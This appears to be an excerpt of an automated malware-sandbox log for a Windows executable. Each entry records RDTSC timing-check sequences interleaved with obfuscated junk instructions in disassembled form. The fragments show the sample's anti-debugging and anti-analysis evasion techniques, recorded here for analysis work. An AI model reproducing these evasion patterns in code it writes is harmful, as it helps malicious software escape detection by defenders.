Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD71AE second address: BD71E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jng 00007FC9D915F4B6h 0x0000000d popad 0x0000000e push edi 0x0000000f jmp 00007FC9D915F4C4h 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a pushad 0x0000001b jns 00007FC9D915F4B6h 0x00000021 push esi 0x00000022 pop esi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD71E2 second address: BD71F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jnl 00007FC9D8BCC166h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD71F0 second address: BD7203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007FC9D915F4C2h 0x0000000b je 00007FC9D915F4B6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD6349 second address: BD636A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC9D8BCC16Bh 0x0000000d jmp 00007FC9D8BCC16Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD636A second address: BD6370 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD6370 second address: BD6375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD6375 second address: BD637B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD64D8 second address: BD64F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FC9D8BCC172h 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD64F6 second address: BD651B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D915F4C4h 0x00000009 js 00007FC9D915F4B6h 0x0000000f popad 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD651B second address: BD6522 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD676E second address: BD6778 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC9D915F4BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD8F63 second address: BD8FBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007FC9D8BCC170h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007FC9D8BCC168h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b cld 0x0000002c push 00000000h 0x0000002e push 21430882h 0x00000033 jc 00007FC9D8BCC189h 0x00000039 push eax 0x0000003a push edx 0x0000003b js 00007FC9D8BCC166h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD9243 second address: BD9248 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD9248 second address: BD9272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 xor dword ptr [ebp+122D1EF0h], ebx 0x0000000e push 00000000h 0x00000010 cld 0x00000011 or edx, 14B2F200h 0x00000017 call 00007FC9D8BCC169h 0x0000001c push eax 0x0000001d push edx 0x0000001e jnp 00007FC9D8BCC168h 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD9272 second address: BD92DE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FC9D915F4B6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FC9D915F4BEh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007FC9D915F4C8h 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e jmp 00007FC9D915F4C4h 0x00000023 push eax 0x00000024 push edx 0x00000025 pop edx 0x00000026 pop eax 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jbe 00007FC9D915F4C3h 0x00000034 jmp 00007FC9D915F4BDh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD92DE second address: BD92E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD939F second address: BD93C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push edx 0x00000009 jnc 00007FC9D915F4B8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FC9D915F4BBh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD93C2 second address: BD93C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD93C8 second address: BD940F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC9D915F4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FC9D915F4B8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 add edx, dword ptr [ebp+122D2C31h] 0x0000002d lea ebx, dword ptr [ebp+1244DE5Ch] 0x00000033 mov edi, eax 0x00000035 xchg eax, ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 pushad 0x0000003a popad 0x0000003b pop eax 0x0000003c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF7BAE second address: BF7BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC9D8BCC166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF7BB9 second address: BF7BCF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 js 00007FC9D915F4B6h 0x00000009 pop ecx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF7BCF second address: BF7BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FC9D8BCC166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FC9D8BCC166h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF7BE2 second address: BF7C02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FC9D915F4B6h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF7D85 second address: BF7D90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FC9D8BCC166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8051 second address: BF8059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF84BB second address: BF84BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF84BF second address: BF84D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC9D915F4C0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF877F second address: BF8793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC9D8BCC166h 0x0000000a jng 00007FC9D8BCC166h 0x00000010 popad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8793 second address: BF87B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D915F4C9h 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8923 second address: BF8929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8929 second address: BF8947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FC9D915F4C1h 0x0000000a js 00007FC9D915F4BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8947 second address: BF8958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FC9D8BCC166h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8958 second address: BF895E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF895E second address: BF8972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FC9D8BCC16Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8AEC second address: BF8B08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8CA1 second address: BF8CBF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007FC9D8BCC166h 0x00000009 jmp 00007FC9D8BCC16Ah 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007FC9D8BCC166h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8CBF second address: BF8CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8CC3 second address: BF8CD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8CD0 second address: BF8CDD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF8CDD second address: BF8CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC9D8BCC166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FC9D8BCC166h 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BD0484 second address: BD048B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF9376 second address: BF9387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC9D8BCC166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF97BA second address: BF97D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D915F4C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: BF9A6B second address: BF9A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C00864 second address: C00869 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C00869 second address: C0086F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C03734 second address: C0376E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC9D915F4C9h 0x0000000e jc 00007FC9D915F4BCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0388F second address: C03893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C03893 second address: C038AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC9D915F4C6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C03A03 second address: C03A09 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C03B61 second address: C03B7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC9D915F4BDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C04022 second address: C0403B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC9D8BCC166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FC9D8BCC16Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0403B second address: C04047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jl 00007FC9D915F4B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0583C second address: C05849 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C05849 second address: C0584D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0584D second address: C05851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C05851 second address: C05890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FC9D915F4CCh 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC9D915F4C4h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C05890 second address: C0589E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C0589E second address: C058B8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC9D915F4B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jno 00007FC9D915F4B8h 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C058B8 second address: C0591C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b jno 00007FC9D8BCC168h 0x00000011 jmp 00007FC9D8BCC177h 0x00000016 popad 0x00000017 pop eax 0x00000018 jp 00007FC9D8BCC171h 0x0000001e jnp 00007FC9D8BCC16Bh 0x00000024 push E8B1B19Bh 0x00000029 pushad 0x0000002a jmp 00007FC9D8BCC175h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FC9D8BCC16Ah 0x00000036 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C05A20 second address: C05A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FC9D915F4BEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C05DA3 second address: C05DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C06574 second address: C065C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FC9D915F4B8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jng 00007FC9D915F4B8h 0x0000002e push ebx 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C06705 second address: C0670C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C06A86 second address: C06A90 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC9D915F4BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C06A90 second address: C06AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FC9D8BCC16Eh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FC9D8BCC168h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push eax 0x00000028 push esi 0x00000029 push eax 0x0000002a push edx 0x0000002b js 00007FC9D8BCC166h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C07910 second address: C07995 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC9D915F4CBh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FC9D915F4C1h 0x00000010 nop 0x00000011 stc 0x00000012 add dword ptr [ebp+122D2D0Bh], esi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007FC9D915F4B8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 pushad 0x00000035 cmc 0x00000036 jnl 00007FC9D915F4B8h 0x0000003c popad 0x0000003d or edi, 4BD78E00h 0x00000043 push 00000000h 0x00000045 jo 00007FC9D915F4BAh 0x0000004b mov si, 4DE9h 0x0000004f push eax 0x00000050 pushad 0x00000051 jl 00007FC9D915F4BCh 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C077CD second address: C077D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C077D1 second address: C077D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C089C4 second address: C089C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C077D7 second address: C077FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FC9D915F4B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C089C8 second address: C089CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C089CE second address: C089DB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C091FC second address: C0920E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C09EE4 second address: C09F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FC9D915F4B8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 xor si, CF00h 0x0000002c mov si, CED2h 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+12467325h], esi 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007FC9D915F4B8h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 00000014h 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 or di, 6527h 0x00000059 xchg eax, ebx 0x0000005a pushad 0x0000005b ja 00007FC9D915F4B8h 0x00000061 push eax 0x00000062 push edx 0x00000063 jno 00007FC9D915F4B6h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: C09CAE second address: C09CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
